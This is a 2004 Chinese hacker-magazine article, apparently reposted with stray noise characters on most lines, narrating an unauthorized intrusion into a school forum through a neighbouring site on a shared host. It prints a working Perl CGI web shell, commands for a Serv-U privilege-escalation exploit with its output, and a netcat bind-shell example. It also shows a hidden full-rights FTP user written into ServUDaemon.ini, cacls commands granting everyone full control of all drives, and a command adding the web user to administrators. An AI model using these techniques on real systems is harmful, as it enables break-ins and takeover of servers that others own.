剑走偏锋——灵巧的旁注攻击
+ q% _: l' r, u8 u5 }7 l" I O本文作者:angel
5 p4 d. O0 T2 f" v文章性质:原创
( A9 p: o- q0 D& m# E Q# Y发布日期:2004-11-09
& M% h; C- I. A A2 _1 d注意:& |4 E, `6 p$ Y* \2 O
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。2 v5 `1 n X# N
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
3 p0 \$ E) s& ?! J8 e/ v+ B% L8 s( }
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 6 X6 [# }4 p7 O a1 t& e' H( B8 l
6 a, a: c, g* c" Y2 ? 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 1 O3 [- ]+ v6 q
3 u3 r: L9 D) F8 ~4 \; i
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
3 ]% U# k6 g3 s3 q3 ^3 X0 _
9 `# H1 G6 I! P2 i$ B 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 7 \5 a) l6 K: ^
/ F9 e R6 A. n' K
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 % \- ?* z. ?6 v; ]: W6 t( w' v, r
7 L5 X6 N3 w8 d0 Z# l8 O- ^; S 没有目的的跳转目录着…… " K. d" Q" a0 p: [
6 ^( ]5 \7 T I c1 N( z7 ? 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… $ ?; }/ X" [: [/ ~- B* x
8 e o0 s! H( F2 K; I; b2 n
结束了吗?不,我试着 FTP 一下: 2 b# u$ L( ?% ?, z! F+ R
@3 y+ x4 @ T# y* C% `Microsoft Windows 2000 [Version 5.00.2195]5 n* f! W# z& G5 K e+ w) w3 O
(C) 版权所有 1985-2000 Microsoft Corp. 7 w6 X; y9 }+ O% @
2 W7 ~% S2 _9 Z7 @2 X4 \C:\Documents and Settings\Administrator>ftp www.school.com8 K0 D A" Y+ j I/ P7 Q
Connected to www. school.com. ! v! T+ }. u# w9 f) V
220 Welcome to FTP Server...
5 O% T* D3 Y- b+ EUser (www.bjtrq.com:(none)):
. _' H" Z2 ?- V# f0 H1 E- E7 B. r331 User name okay, need password.
. y* N, O- y) @$ X9 \Password: 5 I- K4 O$ q3 B- E- H; [
530 Not logged in.
9 e, f, W3 M$ b/ M3 dLogin failed. ( X9 d; x7 }2 n$ }& T
ftp> bye . Z- ?7 V5 N! N7 }% A: P ^
221 Goodbye!
, o/ X! r9 h) k' Q
; E3 U7 }& J$ V3 C5 G* Y' t
9 k$ ~- s- ]5 p1 R/ V6 ] 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… , N1 h8 r6 q( ]; }& @: @
! N" \/ p4 ^: @3 l$ t; D' B1 C$ p
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 " O/ t% B- `8 A6 n+ f
/ j* j# t' f( S8 X8 u. Y
Application Data
" v. j$ w% K7 d# ]7 R6 H, v9 w7 lDocuments
. p" R, V1 o, |1 MDRM
& I- s* {0 P! s: T( zFavorites
* g9 J* B# J% m1 }0 n6 LTemplates4 k ?3 ^! a- x5 C5 C* F
「开始」菜单: k7 P2 J- ]+ a+ x
桌面3 \( T6 c" _3 } S
: W2 }/ w: B. @" n7 X& ~2 R) G2 _6 [; j4 Q4 N/ p0 a, F( Z
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, : F7 n* o4 |$ {3 A' F9 a8 v3 L. p# u
$ i( r# Z' I$ y9 x
ActiveState ActivePerl 5.8# @) _% A! ?% h2 I: n) r9 N
Administrative Tools
* O5 I4 @% u& S3 y! E, s0 XDeerfield.com
; u y; Q, f" d' ?5 j8 gDTemp+ G7 |, \5 q, |% r. h% _2 S/ c' q# s
IPSentry
/ L' Y# X8 V8 f4 f" {0 @( aMBM 5/ B( e0 b& r, Z# S
NetMeter. P$ S% H6 x3 P$ }
Network ICE7 M2 `% ~ \+ B; s |: S, t" \
Persits Software AspEmail5 F! ^; x) d! p* L" I) w
Persits Software AspJpeg, @/ U. b2 i! ^. }( g
Serv-U FTP Server
# j( I1 [. j- i' ~5 J2 }) E# cSymantec Client Security
" {- ~2 A3 {: F9 u2 M" B# e4 Z0 vWindows 优化大师 {/ T) q; t6 m/ Y) T+ O
WinRAR& R9 U6 N0 v0 G
启动
( d) k6 @& ?' @) ^" D Q3 w管理工具* W1 b h% t0 ]6 M! G) g
附件- ]* N3 _, O$ ]! t. V+ d
( g, B# c4 z* K- `, w- p
7 B5 W5 R8 ]) S, @# U
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 5 \3 A: |4 |% b
, _2 |% w+ W' }* z8 a
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: * e" \- B' k. j* _" g
# `9 W2 F0 `0 Q2 }) s2 b
User281=angel|1|0 % O; Y, d, }% R0 R* B
' B V7 d) m9 }0 r+ w# d7 o4 \& q/ ?! J/ H* G8 y
然后加上 , {) y' o( |! Z8 i
# r9 {8 P) O" s- \5 B; l[USER=angel|1]
, m+ k, [% }# [- q9 x) e9 QPassword=ng98F85379EA68DBF97BAADCA99B69B805
; c v0 P, p5 \4 C5 G# cHomeDir=D:\websites
% f, D M5 j# B) ERelPaths=1+ }: L$ ?3 O6 g( e& U9 q
TimeOut=6002 j$ s5 ^) r: A# C
Maintenance=System- h/ Q w8 L5 W/ T# P7 V% j( V
Access1=D:\websites|RWAMELCDP6 K! C+ N9 Y9 v% R5 N
SKEYValues=
- V( g9 m) l( a. p& C) y
& f. w4 a* s& A D
3 _* b9 M0 m0 A. y2 l7 T- ~: I 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
% y% @* _9 l$ s) { o3 [, {% S; R' e: H$ }3 S( I# ~6 ~4 r
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 / E: n1 P7 D/ _; B0 _
# I3 u. f, ~ R& ?* n# M! F
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
W& D' `. @7 \( I
: ?( w _0 I" c* M& @ 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
/ W& l. J( H$ v" Y0 x- g- J
e1 H- w. V* p) L/ d#!/usr/bin/perl
3 U4 c+ r( I1 Xbinmode(STDOUT);) H+ l( X* x) v. v7 U
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); |8 S2 ^& P' N
$_ = $ENV{QUERY_STRING};
* b9 u: r: q& j0 v* `& J, G/ Ds/%20/ /ig;+ K3 k. L4 o; l; P1 x- f/ C
s/%2f/\//ig;
" d7 w0 ]) f* }( D0 Q/ m, O$execthis = $_;. U/ L+ P' G& y2 @6 {
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);/ M( H9 L1 A( O, _" m( r
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";8 j9 m4 I- O7 x
system($execthis);
" E* F* S+ r8 b$ u% q5 j+ Ysyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
% V! p7 b5 y8 }close(STDERR);
2 l5 J$ T- N6 D0 Y: P8 cclose(STDOUT);
1 q, O8 I' |" v9 Q0 t! p1 z; vexit;
) Y1 J+ D, s5 I' G # A$ l) l$ Q6 M2 C5 j, C
: L7 m7 ]# X% p: b
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
" U, p# `5 n8 M. r7 {! p) a5 ]6 P6 a9 J/ X7 }) V7 s0 W
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: # {" P8 ]: A$ G2 `, ~! Q5 ^9 O8 U n
% P2 W/ X. F1 k0 c1 T
http://anyhost//cmd.pl?d:\user\bin\su.exe
. Q% X& a" y* O% A( {
6 N _# \& [# A1 W( n7 X
+ D! u1 w q3 M$ E6 E) D8 ?# E 返回: * r, O4 X: S- F9 t9 \6 b
) ?9 t: V6 @* V! Z5 h, h0 t& R: {
Serv-u >3.x Local Exploit by xiaolu . w8 `3 h% U+ i# q% _5 [+ C( E
7 ^8 j* T- h. Q2 z" c
USAGE: serv-u.exe "command" # M6 q9 F$ S3 u+ \
; E( ~8 ]4 B+ G1 z
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
Z( N1 ]5 b- l6 B
5 F* r9 U. d" j9 x+ s; T6 C- Z4 E2 w" l, S
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: . Y7 D Z1 n( K4 C/ [
, b4 F4 C; X9 N( ?' x! rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
) |( M3 @/ R7 M& @1 K: Z
; G( N+ l3 m6 ?. L. p/ phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
3 A' l- q% n6 Z) r6 x* y2 ]& o" b J1 q1 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
; f! x* o$ Q% w
% z- F# r- W3 L! [! D/ r- o, ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 2 k. [/ W* O* R4 K% X @/ r `3 O
% g" g# ] v1 [, K% A% s8 ^
, h7 m9 E9 Y1 m" r, U7 z* w 返回下面的信息,就表示成功了!!! 8 A; L' H, N m8 C* z
7 P" V1 U+ j- h: t0 Q- r4 N. v( ?
Serv-u >3.x Local Exploit by xiaolu 8 i& K' g3 [8 H) T3 b- h
6 Z( E' e/ K: D! M( [
<220 Serv-U FTP Server v5.2 for WinSock ready... 4 e. y& {7 y4 B! P' p
8 q# S+ F9 R2 B$ r# a/ U( N
>USER LocalAdministrator ! d$ k+ o! k e# V" v/ P
9 T; L$ l( n: F" G; g. F
<331 User name okay, need password.
$ e- k$ R) M# \4 z
. Z, d, {* f6 F******************************************************
0 i/ z) ~: Q# v5 O
4 }. N2 _( e1 ^$ Z# m6 I>PASS #l@$ak#.lk;0@P 1 D; y; d% h+ H4 m2 R6 \0 F6 @- S& u: p
' X7 i8 ^* W& H<230 User logged in, proceed.
0 L r4 v2 Q) g6 O8 R
9 D; Z3 i! [$ j) n m; V; y' p******************************************************
, G% i9 { ]7 I6 a7 Z/ B# U9 b: t; {; W
>SITE MAINTENANCE ' x& I; ^: R% U, @& C7 i+ A2 c6 i; }
1 m- n! T/ j- a8 k8 u* L( K6 }' [
****************************************************** " R' P- H1 C' l
* `% `: J# a# V
[+] Creating New Domain... 4 B; m% V5 Q" R% e1 Q
8 V6 X9 q! V% x$ Y2 o+ y7 R% E
<200-DomainID=2 ! N" s" i, h5 J W) k/ G
' S6 ?8 B+ J$ J<220 Domain settings saved
( d/ k M3 I1 V. z7 y7 Y: V3 i) v0 v. V
******************************************************
* d0 a: [- ]3 K( q6 `! I
0 k" D8 R5 a/ C6 I+ Q( C+ q[+] Domain xl:2 Created
; t2 U8 S1 ^. Y$ U6 p' a, t4 m+ k5 F0 D6 N4 f, P
[+] Creating Evil User
: b$ i5 M. i: ? v3 G: |
0 h/ {# i* h2 R" V5 `; F<200-User=xl * i- l- a0 O, M3 d I
; Y5 q! V; V% A; Z( H
200 User settings saved
2 u6 w# c- e! k3 w
0 T7 K# d& V- e- Q3 b" D# a****************************************************** / x2 d) M6 |. f; t8 ?' B' U
a' Q9 R6 M; }3 r- c+ {9 Y3 l
[+] Now Exploiting...
6 F1 a( S- m% {5 C) B) ]% Q
6 z6 L; p0 v- H# m8 k>USER xl . ]! q. L8 o5 W& X
# Y7 B m( ]0 N+ [& X<331 User name okay, need password.
" V9 ~# V4 |* H7 C5 Z( F
Y8 p* K# _# Y2 Y5 J. a6 W******************************************************
2 {% o( w- t1 J" I+ m6 K" y6 u0 w9 X
>PASS 111111
0 n7 G- p! h' ?2 [3 w& p* |' C; z, q8 O% i
<230 User logged in, proceed. : R% g, I& s5 O9 T9 Q
, I: ?+ ]! q3 R****************************************************** 8 T4 x3 x# D6 K
9 R m: e7 z- H1 f3 ~3 T6 a( ]/ X; r[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; @7 K& h1 Q8 w5 N+ e
0 `3 W( M& n% k! {<220 Domain deleted 6 J: `7 P, V9 O7 {! a
+ U h3 S) d. f8 Q$ Y' B; S
****************************************************** + L0 R0 @* q4 o" i& f Z, o' S7 j
5 A: f9 b6 I% E
2 R% A6 Q5 M3 E% T6 @
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
1 R: h M0 p2 {/ {0 ^2 r
) X# i9 j! g) P/ V" t2 r# O& q) shttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" " q$ O) B- J- J' _
* ]6 C3 }. G4 @2 S( g; T0 }7 Z: C8 ?7 q1 w" K. O' W
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
6 _: g. ?9 o0 w, j7 u0 x8 _) l2 {+ u2 l$ [) Q% @: |
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
( C" {1 A0 o1 Q3 k! w% v # h u7 e+ Q7 o9 n% z. o$ y
G$ f- E9 p) x" @ G3 C |